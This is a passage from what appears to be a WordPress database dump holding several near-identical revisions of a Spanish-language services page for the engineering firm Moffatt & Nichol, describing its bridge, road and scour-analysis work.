FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt &amp; Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n\r\nAdemás, Moffatt &amp; Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-7','','','2012-08-29 14:49:15','2012-08-29 14:49:15','',640,'http://moffattnichol.com/spanish/640-revision-7/',0,'revision','',0),(2661,1,'2012-09-04 06:02:16','2012-09-04 06:02:16','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=bridges width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n<div class=\"banner-space\"></div>\r\n<h1>puentes</h1>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\" style=\"width: 247px; height: 186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"3\">capacidades y experiencia profesional</h3>\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n<ul>\r\n	<li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n	<li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n	<li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n</ul>\r\n<div class=\"clear\"></div>\r\n</div>\r\n<div class=\"press-release-para\">Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt &amp; Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas.\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n<div class=\"bridges-left\">\r\n<div class=\"divider-line\">Tipos de proyecto</div>\r\nProyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción\r\n\r\nRehabilitación de puentes\r\n\r\nEnsanchamiento y reemplazo de puentes\r\n\r\nInstalaciones para nuevos puentes y carreteras\r\n\r\nPuentes en caminos locales\r\n\r\nPasos elevados de autopistas\r\n\r\nPasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel\r\n\r\nCarriles guía de tren ligero y estaciones elevadas\r\n\r\nEstructuras de muelles y frentes costeros\r\n\r\nPuentes para peatones y bicicletas\r\n\r\nPuentes en concreto, acero y madera\r\n\r\nPuentes sobre áreas medioambientalmente sensibles\r\n<div class=\"divider-line\">Construcción</div>\r\nEtapas de la construcción y mantenimiento del tráfico\r\n\r\nEstudios de la factibilidad de construcción e Ingeniería del valor\r\n\r\nIngeniería y apoyo de la construcción\r\n\r\nAnálisis de la construcción en función del tiempo\r\n\r\nInspección de la construcción\r\n\r\nPlanos según construcción y conciliación\r\n\r\nRepresentación del diseñador-constructor y del propietario\r\n\r\n</div>\r\n<div class=\"bridges-right\">\r\n<div class=\"divider-line\">Planeamiento</div>\r\nEstudios de factibilidad y planeamiento\r\n\r\nDiseño conceptual\r\n\r\nEstimados de costos\r\n\r\nSelección del tipo de estructura\r\n\r\nEstudios y documentación medioambientales\r\n<div class=\"divider-line\">Diseño</div>\r\nDiseño preliminar y final\r\n\r\nPlanos, especificaciones y estimados\r\n\r\nDiseño antisísmico y modificación\r\n\r\nEstudios hidráulicos y de socavación\r\n\r\nEstudios de colisión de buques\r\n\r\nEstudios de carga de hielo\r\n\r\nDiseño de cimentación profunda\r\n\r\nSocavación de puentes\r\n\r\nAnálisis de la marejada ciclónica\r\n<div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\nInspección por encima/debajo del nivel del agua con certificación NBIS\r\n\r\nMuestreo y prueba de materiales\r\n\r\nModelación de la vida de servicio (Estructuras de concreto)\r\n\r\nServicios de diseño de reparación/rehabilitación\r\n\r\nServicios de la fase de construcción\r\n<div class=\"divider-line\">Otros servicios</div>\r\nEstética de puentes y Soluciones sensibles al contexto\r\n\r\nCapacidad de carga de puentes\r\n\r\nAnálisis avanzado de elementos finitos\r\n\r\nCoordinación y reubicación de equipos de servicios públicos\r\n\r\nDiseño de calzadas y accesos\r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"1\">caminos y puentes</h3>\r\nMoffatt &amp; Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n\r\nMoffatt &amp; Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción.\r\n\r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel. Moffatt &amp; Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"2\">análisis de socavación</h3>\r\nMoffatt &amp; Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica. Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt &amp; Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n\r\nAdemás, Moffatt &amp; Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-8','','','2012-09-04 06:02:16','2012-09-04 06:02:16','',640,'http://moffattnichol.com/spanish/640-revision-8/',0,'revision','',0),(2662,1,'2012-09-04 06:03:17','2012-09-04 06:03:17','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=bridges width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n\r\n<h1>puentes</h1>\r\n\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\" style=\"width: 247px; height: 186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"3\">capacidades y experiencia profesional</h3>\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n<ul>\r\n	<li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n	<li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n	<li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n</ul>\r\n<div class=\"clear\"></div>\r\n</div>\r\n<div class=\"press-release-para\">Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt &amp; Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas.\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n<div class=\"bridges-left\">\r\n<div class=\"divider-line\">Tipos de proyecto</div>\r\nProyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción\r\n\r\nRehabilitación de puentes\r\n\r\nEnsanchamiento y reemplazo de puentes\r\n\r\nInstalaciones para nuevos puentes y carreteras\r\n\r\nPuentes en caminos locales\r\n\r\nPasos elevados de autopistas\r\n\r\nPasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel\r\n\r\nCarriles guía de tren ligero y estaciones elevadas\r\n\r\nEstructuras de muelles y frentes costeros\r\n\r\nPuentes para peatones y bicicletas\r\n\r\nPuentes en concreto, acero y madera\r\n\r\nPuentes sobre áreas medioambientalmente sensibles\r\n<div class=\"divider-line\">Construcción</div>\r\nEtapas de la construcción y mantenimiento del tráfico\r\n\r\nEstudios de la factibilidad de construcción e Ingeniería del valor\r\n\r\nIngeniería y apoyo de la construcción\r\n\r\nAnálisis de la construcción en función del tiempo\r\n\r\nInspección de la construcción\r\n\r\nPlanos según construcción y conciliación\r\n\r\nRepresentación del diseñador-constructor y del propietario\r\n\r\n</div>\r\n<div class=\"bridges-right\">\r\n<div class=\"divider-line\">Planeamiento</div>\r\nEstudios de factibilidad y planeamiento\r\n\r\nDiseño conceptual\r\n\r\nEstimados de costos\r\n\r\nSelección del tipo de estructura\r\n\r\nEstudios y documentación medioambientales\r\n<div class=\"divider-line\">Diseño</div>\r\nDiseño preliminar y final\r\n\r\nPlanos, especificaciones y estimados\r\n\r\nDiseño antisísmico y modificación\r\n\r\nEstudios hidráulicos y de socavación\r\n\r\nEstudios de colisión de buques\r\n\r\nEstudios de carga de hielo\r\n\r\nDiseño de cimentación profunda\r\n\r\nSocavación de puentes\r\n\r\nAnálisis de la marejada ciclónica\r\n<div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\nInspección por encima/debajo del nivel del agua con certificación NBIS\r\n\r\nMuestreo y prueba de materiales\r\n\r\nModelación de la vida de servicio (Estructuras de concreto)\r\n\r\nServicios de diseño de reparación/rehabilitación\r\n\r\nServicios de la fase de construcción\r\n<div class=\"divider-line\">Otros servicios</div>\r\nEstética de puentes y Soluciones sensibles al contexto\r\n\r\nCapacidad de carga de puentes\r\n\r\nAnálisis avanzado de elementos finitos\r\n\r\nCoordinación y reubicación de equipos de servicios públicos\r\n\r\nDiseño de calzadas y accesos\r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"1\">caminos y puentes</h3>\r\nMoffatt &amp; Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n\r\nMoffatt &amp; Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción.\r\n\r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel. Moffatt &amp; Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"2\">análisis de socavación</h3>\r\nMoffatt &amp; Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica. Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt &amp; Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n\r\nAdemás, Moffatt &amp; Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-9','','','2012-09-04 06:03:17','2012-09-04 06:03:17','',640,'http://moffattnichol.com/spanish/640-revision-9/',0,'revision','',0),(2663,1,'2012-09-04 06:03:36','2012-09-04 06:03:36','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=bridges width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n<div class=\"global-services_one\">\r\n<h1>puentes</h1>\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\" style=\"width: 247px; height: 186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"3\">capacidades y experiencia profesional</h3>\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n<ul>\r\n	<li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n	<li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n	<li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n</ul>\r\n<div class=\"clear\"></div>\r\n</div>\r\n<div class=\"press-release-para\">Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt &amp; Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas.\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n<div class=\"bridges-left\">\r\n<div class=\"divider-line\">Tipos de proyecto</div>\r\nProyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción\r\n\r\nRehabilitación de puentes\r\n\r\nEnsanchamiento y reemplazo de puentes\r\n\r\nInstalaciones para nuevos puentes y carreteras\r\n\r\nPuentes en caminos locales\r\n\r\nPasos elevados de autopistas\r\n\r\nPasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel\r\n\r\nCarriles guía de tren ligero y estaciones elevadas\r\n\r\nEstructuras de muelles y frentes costeros\r\n\r\nPuentes para peatones y bicicletas\r\n\r\nPuentes en concreto, acero y madera\r\n\r\nPuentes sobre áreas medioambientalmente sensibles\r\n<div class=\"divider-line\">Construcción</div>\r\nEtapas de la construcción y mantenimiento del tráfico\r\n\r\nEstudios de la factibilidad de construcción e Ingeniería del valor\r\n\r\nIngeniería y apoyo de la construcción\r\n\r\nAnálisis de la construcción en función del tiempo\r\n\r\nInspección de la construcción\r\n\r\nPlanos según construcción y conciliación\r\n\r\nRepresentación del diseñador-constructor y del propietario\r\n\r\n</div>\r\n<div class=\"bridges-right\">\r\n<div class=\"divider-line\">Planeamiento</div>\r\nEstudios de factibilidad y planeamiento\r\n\r\nDiseño conceptual\r\n\r\nEstimados de costos\r\n\r\nSelección del tipo de estructura\r\n\r\nEstudios y documentación medioambientales\r\n<div class=\"divider-line\">Diseño</div>\r\nDiseño preliminar y final\r\n\r\nPlanos, especificaciones y estimados\r\n\r\nDiseño antisísmico y modificación\r\n\r\nEstudios hidráulicos y de socavación\r\n\r\nEstudios de colisión de buques\r\n\r\nEstudios de carga de hielo\r\n\r\nDiseño de cimentación profunda\r\n\r\nSocavación de puentes\r\n\r\nAnálisis de la marejada ciclónica\r\n<div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\nInspección por encima/debajo del nivel del agua con certificación NBIS\r\n\r\nMuestreo y prueba de materiales\r\n\r\nModelación de la vida de servicio (Estructuras de concreto)\r\n\r\nServicios de diseño de reparación/rehabilitación\r\n\r\nServicios de la fase de construcción\r\n<div class=\"divider-line\">Otros servicios</div>\r\nEstética de puentes y Soluciones sensibles al contexto\r\n\r\nCapacidad de carga de puentes\r\n\r\nAnálisis avanzado de elementos finitos\r\n\r\nCoordinación y reubicación de equipos de servicios públicos\r\n\r\nDiseño de calzadas y accesos\r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"1\">caminos y puentes</h3>\r\nMoffatt &amp; Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n\r\nMoffatt &amp; Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción.\r\n\r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel. Moffatt &amp; Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"2\">análisis de socavación</h3>\r\nMoffatt &amp; Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica. Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt &amp; Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n\r\nAdemás, Moffatt &amp; Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-10','','','2012-09-04 06:03:36','2012-09-04 06:03:36','',640,'http://moffattnichol.com/spanish/640-revision-10/',0,'revision','',0),(2664,1,'2012-09-04 06:04:00','2012-09-04 06:04:00','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=bridges width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n<div class=\"global-services_one\">\r\n<h1>puentes</h1>\r\n&nbsp;\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\" style=\"width: 247px; height: 186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"3\">capacidades y experiencia profesional</h3>\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n<ul>\r\n	<li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n	<li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n	<li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n</ul>\r\n<div class=\"clear\"></div>\r\n</div>\r\n<div class=\"press-release-para\">Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt &amp; Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas.\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n<div class=\"bridges-left\">\r\n<div class=\"divider-line\">Tipos de proyecto</div>\r\nProyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción\r\n\r\nRehabilitación de puentes\r\n\r\nEnsanchamiento y reemplazo de puentes\r\n\r\nInstalaciones para nuevos puentes y carreteras\r\n\r\nPuentes en caminos locales\r\n\r\nPasos elevados de autopistas\r\n\r\nPasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel\r\n\r\nCarriles guía de tren ligero y estaciones elevadas\r\n\r\nEstructuras de muelles y frentes costeros\r\n\r\nPuentes para peatones y bicicletas\r\n\r\nPuentes en concreto, acero y madera\r\n\r\nPuentes sobre áreas medioambientalmente sensibles\r\n<div class=\"divider-line\">Construcción</div>\r\nEtapas de la construcción y mantenimiento del tráfico\r\n\r\nEstudios de la factibilidad de construcción e Ingeniería del valor\r\n\r\nIngeniería y apoyo de la construcción\r\n\r\nAnálisis de la construcción en función del tiempo\r\n\r\nInspección de la construcción\r\n\r\nPlanos según construcción y conciliación\r\n\r\nRepresentación del diseñador-constructor y del propietario\r\n\r\n</div>\r\n<div class=\"bridges-right\">\r\n<div class=\"divider-line\">Planeamiento</div>\r\nEstudios de factibilidad y planeamiento\r\n\r\nDiseño conceptual\r\n\r\nEstimados de costos\r\n\r\nSelección del tipo de estructura\r\n\r\nEstudios y documentación medioambientales\r\n<div class=\"divider-line\">Diseño</div>\r\nDiseño preliminar y final\r\n\r\nPlanos, especificaciones y estimados\r\n\r\nDiseño antisísmico y modificación\r\n\r\nEstudios hidráulicos y de socavación\r\n\r\nEstudios de colisión de buques\r\n\r\nEstudios de carga de hielo\r\n\r\nDiseño de cimentación profunda\r\n\r\nSocavación de puentes\r\n\r\nAnálisis de la marejada ciclónica\r\n<div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\nInspección por encima/debajo del nivel del agua con certificación NBIS\r\n\r\nMuestreo y prueba de materiales\r\n\r\nModelación de la vida de servicio (Estructuras de concreto)\r\n\r\nServicios de diseño de reparación/rehabilitación\r\n\r\nServicios de la fase de construcción\r\n<div class=\"divider-line\">Otros servicios</div>\r\nEstética de puentes y Soluciones sensibles al contexto\r\n\r\nCapacidad de carga de puentes\r\n\r\nAnálisis avanzado de elementos finitos\r\n\r\nCoordinación y reubicación de equipos de servicios públicos\r\n\r\nDiseño de calzadas y accesos\r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"1\">caminos y puentes</h3>\r\nMoffatt &amp; Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n\r\nMoffatt &amp; Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción.\r\n\r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel. Moffatt &amp; Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"2\">análisis de socavación</h3>\r\nMoffatt &amp; Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica. Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt &amp; Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n\r\nAdemás, Moffatt &amp; Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','servicios de caminos y 